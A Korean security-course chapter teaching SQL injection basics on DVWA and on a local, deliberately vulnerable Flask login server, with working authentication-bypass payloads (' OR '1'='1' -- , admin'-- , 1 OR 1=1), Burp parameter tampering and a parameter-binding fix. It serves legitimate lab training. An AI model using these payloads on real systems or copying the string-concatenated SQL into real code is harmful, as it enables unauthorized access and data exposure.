Step 135. DVWA 세팅과 SQLi 기초 — Low와 Medium을 넘다

Step 135. DVWA 세팅과 SQLi 기초 — Low와 Medium을 넘다

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3.5시간

전제: Step 92~93의 SQL 기초와 파라미터 바인딩, Step 104의 첫 SQL 인젝션(Natas 14), Step 133의 Burp Suite 조작을 마쳤다.

  • 준비물: Docker(DVWA용), Burp Suite, 그리고 같은 원리를 재현할 파이썬 3 + Flask + sqlite3.
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
  • 주의: 이 집필 환경에는 DVWA가 없어서, DVWA 화면과 출력은 전부 예시입니다. 대신 DVWA의 Low/Medium과 정확히 같은 원리의 취약 서버를 여러분의 컴퓨터에 Flask로 띄워, 모든 공격을 실측으로 증명합니다. DVWA에서 직접 따라 할 때도 페이로드와 사고 흐름은 그대로입니다.

Step 104에서 ' OR '1'='1을 처음 성공시켰습니다. 오늘은 그 한 방을 체계로 바꿉니다. 교재는 DVWA(Damn Vulnerable Web App) — 일부러 취약하게 만든 PHP 웹앱으로, 난이도를 Low/Medium/High로 올려 가며 같은 취약점을 반복 훈련할 수 있는 웹 보안의 국민 교습소입니다. 오늘의 핵심 교훈은 하나입니다: 문맥(따옴표로 감싸졌는지, 숫자인지)에 따라 페이로드가 달라진다. Low에서 통한 주문이 Medium에서 실패하는 이유를, 오늘은 눈으로 확인합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • DVWA를 Docker로 띄우고 보안 난이도를 조절할 수 있다
  • 따옴표 하나(')로 SQL 인젝션 존재 여부를 탐지하고 에러를 힌트로 읽는다
  • ' OR '1'='1' --admin'--의 쿼리 변형 과정을 문자열로 재구성한다
  • 숫자 컨텍스트(Medium)에서 따옴표 없이 1 OR 1=1로 공격한다
  • 입력창이 없는 폼을 Burp로 POST 파라미터 변조해 공략한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 DVWA(Docker, PHP+MySQL — 출력 예시) + 로컬 재현용 파이썬 3, Flask, sqlite3(실측)
오늘의 명령어·페이로드 docker run, ', ' OR '1'='1' -- , admin'-- , 1 OR 1=1, Burp Repeater의 POST 변조
필요한 개념 문자열 결합 취약점, SQL 주석(-- , #), 문자열 컨텍스트 vs 숫자 컨텍스트, 파라미터 바인딩
오늘의 산출물 lab135.py(취약 로그인 서버) + Low/Medium 공격 기록 문서

2-1. DVWA — 일부러 취약한 연습장

DVWA는 로그인, SQL Injection, XSS, 명령어 인젝션 같은 대표 취약점을 메뉴로 갖춘 웹앱입니다. 핵심 기능은 Security 난이도 — 같은 "SQL Injection" 메뉴도 Low는 아무 방어가 없고, Medium은 입력 방식을 바꾸고, High는 코드가 달라집니다. 방어가 한 겹씩 추가될 때 내 공격이 어디서 막히는지를 보는 것이 이 앱의 교육 설계입니다.

2-2. 복습 — 따옴표 하나가 일으키는 일

Step 104의 한 장면을 다시 꺼냅니다. 서버 쿼리가 이렇다고 합시다.

SELECT * FROM users WHERE username = '입력값' AND password = '입력값'

입력에 ' 하나만 넣어도 따옴표 짝이 깨져 SQL 오류가 납니다. 이 오류는 실패가 아니라 힌트입니다 — "내 입력이 쿼리 문법 안에 들어간다"는 서버의 고백입니다. 그다음 ' OR '1'='1으로 항상 참 조건을 심고, -- 로 꼬리를 주석 처리하면 인증이 무너집니다. 오늘은 이 과정을 "우연이 아니라 절차"로 만듭니다: 탐지(') → 변형(OR) → 정리(-- ).

2-3. 주석의 방언 — -- #

SQL 주석은 DB마다 사투리가 있습니다. MySQL은 -- 뒤에 공백이 있어야 주석으로 인정하고, #도 주석입니다. SQLite는 --에 공백이 없어도 되는 편이지만 습관으로 공백을 붙이는 것이 안전합니다. 그래서 실전 페이로드는 -- 처럼 뒤에 공백을 붙인 형태로 씁니다. 이 챕터의 실측에서도 전부 -- 형태입니다.

2-4. 문자열 컨텍스트 vs 숫자 컨텍스트 — Medium의 진짜 벽

DVWA Medium의 SQL Injection은 입력창이 드롭다운으로 바뀌고, 서버 코드는 입력을 숫자로 다룹니다.

-- Low (문자열 컨텍스트):    WHERE user_id = '$id'
-- Medium (숫자 컨텍스트):   WHERE user_id = $id

숫자 컨텍스트에서는 따옴표를 넣을 이유가 없습니다 — 애초에 따옴표로 감싸지 않으니까요. 그래서 페이로드도 따옴표 없이 1 OR 1=1이 됩니다. "문맥을 읽고 페이로드를 고른다" — 이것이 오늘의 1번 교훈입니다.


3. 따라 하기

3-1. DVWA 설치 (화면 예시)

Docker가 있다면 한 줄입니다.

docker run -d -p 80:80 vulnerables/web-dvwa

브라우저로 http://localhost 접속 → 하단 "Create / Reset Database" 클릭 → admin / password로 로그인 → 왼쪽 "DVWA Security"에서 Low로 설정. (이 집필 환경에는 DVWA가 없어 설치 화면은 예시입니다 — 여러분의 랩에서 진행하세요.)

3-2. 로컬 재현 서버 — Low와 같은 취약 로그인

DVWA가 준비되기 전이라도 원리 실습은 지금 시작할 수 있습니다. lab135.py를 작성하세요 (교육용 취약 코드 — 어디에도 배포 금지):

import sqlite3
from flask import Flask, request

app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
    ("admin", "sup3r_s3cret!"), ("alice", "wonderland"), ("bob", "builder99"),
])

@app.route("/login")
def login():
    """Low 난이도 재현: 입력을 문자열로 그대로 결합."""
    u = request.args.get("u", "")
    p = request.args.get("p", "")
    sql = f"SELECT * FROM users WHERE username = '{u}' AND password = '{p}'"
    try:
        rows = CONN.execute(sql).fetchall()
    except Exception as e:
        return f"[오류] {e}\n실행된 SQL: {sql}", 500
    if rows:
        return f"로그인 성공! 환영합니다, {rows[0][0]}님\n실행된 SQL: {sql}"
    return f"로그인 실패\n실행된 SQL: {sql}"

if __name__ == "__main__":
    app.run(port=5135)
python lab135.py

이 서버는 학습용으로 실행된 SQL을 그대로 보여 줍니다. 실서버는 보여 주지 않지만, 오늘은 쿼리가 어떻게 변하는지 눈으로 봐야 하니까요.

3-3. 정상 → 탐지 → 돌파, 삼단 절차

1단계 — 정상 입력 (2026-09-09 실측):

curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=alice" --data-urlencode "p=wonderland"
로그인 성공! 환영합니다, alice님
실행된 SQL: SELECT * FROM users WHERE username = 'alice' AND password = 'wonderland'

2단계 — 탐지: 따옴표 하나 (2026-09-09 실측):

curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=alice'" --data-urlencode "p=x"
[오류] unrecognized token: "x'"
실행된 SQL: SELECT * FROM users WHERE username = 'alice'' AND password = 'x'

에러 메시지는 DB마다 다릅니다 (MySQL이면 You have an error in your SQL syntax, 한글 윈도우는 다른 문구가 뜰 수 있습니다). 중요한 것은 에러가 떴다 = 내 입력이 쿼리 문법에 닿았다는 사실입니다.

3단계 — 돌파 (2026-09-09 실측):

curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=' OR '1'='1' -- " --data-urlencode "p=whatever"
로그인 성공! 환영합니다, admin님
실행된 SQL: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = 'whatever'

읽는 법: 완성된 쿼리를 소리 내어 읽어 보세요. "username이 빈 문자열이거나, 1이 1과 같거나(항상 참) — 그리고 -- 뒤는 전부 주석." 비밀번호 비교 부분이 통째로 주석 처리됐습니다. 조건이 항상 참이라 첫 번째 행(admin) 으로 로그인됐습니다.

: DVWA의 SQL Injection(Low)에서 하는 일이 정확히 이것입니다. 입력창에 1을 넣어 정상을 보고, 1'로 에러를 관찰하고, ' OR '1'='1 계열로 전체 사용자를 출력합니다 (DVWA 화면은 출력 예시: First name: admin / Surname: admin 식으로 전원이 나열됩니다).

3-4. admin’– — 비밀번호를 모른 채 관리자로

목표가 "아무나"가 아니라 "admin"이라면 이렇게 씁니다 (2026-09-09 실측):

curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=admin'-- " --data-urlencode "p=whatever"
로그인 성공! 환영합니다, admin님
실행된 SQL: SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'whatever'

'가 username 문자열을 닫았고, -- 가 그 뒤 전부(비밀번호 확인 포함)를 지웠습니다. 결과: "username이 admin인 행"만 남은 쿼리. Step 93에서 예측 문제로 만났던 그 입력이, 이제 웹 요청 위에서 실제로 돌았습니다.

3-5. Medium 재현 — 숫자 컨텍스트는 따옴표가 없다

lab135.py에 Medium 스타일의 경로를 추가하고 재시작합니다.

@app.route("/user")
def user_lookup():
    """Medium 난이도 재현: 숫자 컨텍스트 — 따옴표로 감싸지 않음."""
    uid = request.args.get("id", "1")
    sql = f"SELECT username FROM users WHERE rowid = {uid}"
    try:
        rows = CONN.execute(sql).fetchall()
    except Exception as e:
        return f"[오류] {e}\n실행된 SQL: {sql}", 500
    if rows:
        names = ", ".join(r[0] for r in rows)
        return f"조회 결과: {names}\n실행된 SQL: {sql}"
    return f"결과 없음\n실행된 SQL: {sql}"

정상 조회 (2026-09-09 실측, id=1):

조회 결과: admin
실행된 SQL: SELECT username FROM users WHERE rowid = 1

공격 — 따옴표 없이 (2026-09-09 실측, id=1 OR 1=1):

조회 결과: admin, alice, bob
실행된 SQL: SELECT username FROM users WHERE rowid = 1 OR 1=1

읽는 법: 쿼리를 보면 rowid = 뒤에 따옴표가 없습니다. 그래서 페이로드에도 따옴표가 없습니다. 반대로 이 서버에 ' OR '1'='1을 넣으면 rowid = ' OR '1'='1 — 숫자 자리에 문자열이 와서 오류만 납니다. Low의 주문이 Medium에서 실패하는 이유를 방금 확인했습니다.

: 실제 DVWA Medium은 입력이 드롭다운입니다. 브라우저에서는 선택지 외의 값을 넣을 수 없습니다. 하지만 드롭다운은 화면 장식일 뿐 — 서버에는 결국 POST 요청의 id=1 같은 파라미터가 갑니다. 그래서 다음 단계가 필요합니다.

3-6. Burp로 Medium 공략 (DVWA, 출력 예시)

DVWA에서 Security를 Medium으로 올리고 SQL Injection 메뉴를 엽니다. 입력창이 없고 드롭다운만 있습니다.

  1. Burp 프록시를 켜고 드롭다운에서 1을 선택해 Submit — 요청이 잡힙니다
  2. 잡힌 요청을 Repeater로 보냅니다 (Ctrl+R)
  3. 본문의 id=1id=1 OR 1=1로 고쳐 Send
  4. 응답에 전체 사용자가 나옵니다 (출력 예시)

읽는 법: 화면의 입력 제한은 클라이언트 측 장치입니다. Step 103의 제1원리 — 클라이언트의 것은 클라이언트가 바꾼다. 드롭다운·자바스크립트 검증·readonly 속성 전부 Burp 앞에서는 무의미합니다. 서버가 신뢰 경계의 유일한 문지기입니다.

3-7. 방어 확인 — 같은 입력, 다른 결과

마지막으로 바인딩 버전을 붙여 대조합니다.

@app.route("/login_safe")
def login_safe():
    u = request.args.get("u", "")
    p = request.args.get("p", "")
    rows = CONN.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?", (u, p)
    ).fetchall()
    return "로그인 성공!" if rows else "로그인 실패"

출력 (2026-09-09 실측, ' OR '1'='1' -- 입력):

로그인 실패

3-3에서 admin을 열어 준 그 입력이 여기서는 고요히 실패합니다. Step 93에서 배운 문장 그대로 — 바인딩은 입력을 문법이 아니라 데이터로 가둡니다. 오늘의 모든 공격이 "결합"이라는 한 줄에서 태어났고, "바인딩"이라는 한 줄에서 죽습니다.


4. 미션과 연습문제

미션 — Low/Medium 공격 기록 문서

  1. lab135.py를 완성하고 세 페이로드(' 탐지, ' OR '1'='1' -- , admin'-- )의 명령·출력을 캡처합니다.
  2. 각 캡처 아래에 완성된 쿼리를 손으로 재구성해 적고, 어느 부분이 주석 처리됐는지 표시합니다.
  3. Medium 경로에서 1 OR 1=1의 성공과 ' OR '1'='1의 실패를 둘 다 캡처하고, 차이를 한 문장으로 설명합니다.
  4. DVWA가 있다면 Low에서 전체 사용자 추출, Medium을 Burp로 공략한 화면을 추가합니다. 없으면 로컬 캡처로 대체합니다.
  5. 위키에 SQLi기초정리.md — "탐지 → 변형 → 정리(주석)" 삼단 절차와 문자열/숫자 컨텍스트 구분을 정리합니다.

연습문제

문제 1. 1'을 넣었을 때 SQL 오류가 나는 것이 왜 "취약점의 신호"인지 설명해 보세요. 오류가 안 나도 취약할 수 있나요?

문제 2. ' OR '1'='1' -- 입력으로 완성된 쿼리를 문자열로 쓰고, 비밀번호 비교가 무력화되는 위치를 정확히 짚어 보세요.

문제 3. Medium(숫자 컨텍스트)에서 ' OR '1'='1이 실패하는 이유와, 대신 써야 하는 페이로드를 써 보세요.

문제 4. 드롭다운으로 바꾼 Medium의 "방어"가 Burp 앞에서 무너지는 이유를 신뢰 경계 관점에서 설명해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

검증하는 법: ① 세 페이로드의 출력에 "로그인 성공! 환영합니다, admin님"이 찍혔는가 (2026-09-09 실측 기준 — ' OR '1'='1' -- admin'-- 둘 다 admin으로 성공). ② 재구성한 쿼리에서 -- 뒤(' AND password = ...)를 주석으로 표시했는가. ③ Medium에서 id=1 OR 1=1은 전원(실측: admin, alice, bob), ' OR '1'='1은 오류/실패로 대비됐는가. ④ 정리 문서에 "컨텍스트에 따라 페이로드가 달라진다"는 문장이 있는가.

연습문제 해답

문제 1 해답. 따옴표 하나는 평범한 문자인데 SQL 오류가 났다는 것은, 내 입력이 데이터가 아니라 쿼리 문법 안으로 들어갔다는 증거이기 때문입니다. 오류가 안 나는 경우도 있습니다 — 서버가 오류를 숨기면(화면에 안 보여 주면) 조용한 Blind 형태가 되며, 그때는 Step 137의 참/거짓 비교로 탐지합니다. "오류가 없다 = 안전하다"가 아님에 주의하세요.

문제 2 해답. 완성된 쿼리: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = 'whatever'. 무력화 지점은 -- 바로 뒤부터입니다 — -- ' AND password = 'whatever' 전체가 주석이라, 쿼리에는 username 조건과 항상 참인 OR 조건만 남습니다.

문제 3 해답. 숫자 컨텍스트(WHERE rowid = 입력)에서 내 따옴표는 "문자열을 여닫는 문법"이 아니라 그냥 이상한 문자가 되어 SQL 오류만 냅니다. 따옴표가 없으니 닫을 것도 없습니다. 대신 1 OR 1=1처럼 따옴표 없는 페이로드를 씁니다 (3-5 실측에서 전원 조회 성공).

문제 4 해답. 드롭다운은 브라우저라는 클라이언트 영역의 장치입니다. 서버에 도달하는 것은 결국 HTTP 요청 본문의 id=... 한 줄이고, 그 줄은 Burp로 얼마든지 고칠 수 있습니다. 신뢰 경계는 네트워크를 경계로 그어야 합니다 — 클라이언트 쪽 제한은 사용자 편의일 뿐 방어가 아닙니다.

완료 기준 체크리스트

  • [ ] DVWA의 설치·로그인·난이도 조절 절차를 말할 수 있다(또는 직접 했다)
  • [ ] 따옴표 탐지 → OR 변형 → 주석 정리의 삼단 절차를 시연할 수 있다
  • [ ] ' OR '1'='1' -- 의 완성 쿼리를 문자열로 재구성할 수 있다
  • [ ] 숫자 컨텍스트에서 1 OR 1=1로 공격하는 이유를 설명할 수 있다
  • [ ] Burp Repeater로 POST 파라미터를 변조하는 절차를 밟을 수 있다
  • [ ] 바인딩 버전에서 같은 입력이 실패함을 확인했다
  • [ ] 미션: 공격 기록 문서를 완성했다

6. 흔한 실수와 해결

벽 1. --를 넣었는데 주석이 안 먹혀요

증상 (출력 예시, MySQL 계열): You have an error in your SQL syntax; check the manual ... near '-- '.

원인: MySQL은 -- 뒤에 공백(또는 제어 문자)이 있어야 주석으로 인정합니다. --만 붙이면 빼기 기호 두 개로 해석됩니다.

해결: 항상 -- (뒤에 공백) 형태로 쓰거나, MySQL 전용 주석 #를 쓰세요. 웹 폼에서는 공백이 URL 인코딩 문제를 일으킬 수 있으니 -- - 같은 관용구도 있습니다.

벽 2. curl로 한글/공백을 넣으면 깨져요

증상 (집필 환경에서 실측): 비밀번호를 한글로 넣었더니 쿼리에 %B8%F0...처럼 깨진 값이 찍혔습니다.

원인: 터미널의 인코딩과 서버의 기대가 다릅니다. Git Bash는 한글을 시스템 코드페이지로 보낼 수 있습니다.

해결: 실습에서는 ASCII 페이로드를 쓰세요. 한글이 꼭 필요하면 curl 대신 파이썬 requests.get(url, params={...})을 쓰면 URL 인코딩을 올바르게 해 줍니다.

벽 3. 공격 입력을 넣으면 "그냥 로그인 실패"만 나와요

증상: 페이로드가 오류도 성공도 없이 조용히 실패합니다.

원인 셋 중 하나: ① 서버가 큰따옴표로 감쌉니다(Step 104 연습문제 3) — "로 다시. ② 숫자 컨텍스트인데 따옴표를 넣었습니다 — 1 OR 1=1로. ③ 서버가 바인딩/이스케이프로 방어 중입니다 — 그게 정상이고, 실습 서버가 맞는지 확인하세요.

해결: 서버가 보여 주는(또는 소스에 있는) 쿼리의 감싸는 문자부터 확인. 문맥 확인이 모든 페이로드 선택에 선행합니다.

벽 4. DVWA에 접속하면 로그인으로 튕겨요 (Burp 재전송 시)

증상: Repeater로 보낸 요청이 로그인 페이지로 리다이렉트됩니다.

원인: 요청에 세션 쿠키(PHPSESSID)와 security=low 쿠키가 빠졌습니다. DVWA는 매 요청마다 로그인 세션을 검사합니다.

해결: 브라우저에서 로그인한 뒤 개발자 도구에서 쿠키를 복사해 Burp 요청의 Cookie: 헤더에 그대로 붙이세요. Step 134의 감각이 여기서 쓰입니다 — 쿠키가 신분증입니다.

벽 5. lab135.py 실행 시 "Address already in use"

증상: 서버가 안 뜨고 포트 충돌 오류.

원인: 이전에 띄운 서버가 아직 살아 있습니다.

해결: 그 터미널에서 Ctrl+C. 창을 닫아 버렸다면 netstat -ano | grep 5135로 PID를 찾아 taskkill /F /PID <번호>로 종료하세요.


7. 정리

오늘의 개념

개념 한 줄 설명
DVWA 일부러 취약한 교육용 웹앱 — 난이도 조절이 핵심 기능
탐지(') 따옴표 하나로 "입력이 문법에 닿는가"를 확인하는 첫 질문
주석(-- , #) 쿼리의 꼬리를 지우는 지우개 — MySQL은 -- 뒤 공백 필수
문자열 컨텍스트 '$id' — 따옴표로 닫고 OR를 심는다 (Low)
숫자 컨텍스트 $id — 따옴표 없이 1 OR 1=1 (Medium)
신뢰 경계 클라이언트 측 제한(드롭다운)은 방어가 아니다 — Burp가 증명

오늘의 명령어와 페이로드

명령·페이로드 하는 일
docker run -d -p 80:80 vulnerables/web-dvwa DVWA 띄우기
' 인젝션 탐지 — 에러가 곧 힌트
' OR '1'='1' -- 문자열 컨텍스트 조건 무력화
admin'-- 지정 계정으로 비밀번호 없이 로그인
1 OR 1=1 숫자 컨텍스트 전체 조회
curl -G URL --data-urlencode "u=..." URL 인코딩을 맡긴 GET 공격 요청
Burp: Proxy → Repeater → Send 잡은 요청을 고쳐서 재전송

명령어보다 중요한 감각

SQL 인젝션은 "외우는 주문"이 아니라 읽는 기술입니다. 서버의 쿼리에서 내 입력이 박히는 자리(문맥)를 읽고, 그 문맥을 닫고, 원하는 문법을 심고, 나머지를 주석으로 정리한다 — 이 네 동작이 전부입니다. 그리고 오늘 실측에서 봤듯, 방어는 코드 한 줄의 차이입니다. 여러분은 이제 취약한 한 줄과 안전한 한 줄을 같은 손으로 써 봤으므로, 남의 코드에서 그 한 줄을 찾아낼 눈도 생겼습니다.


전부 체크되면 Step 135 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.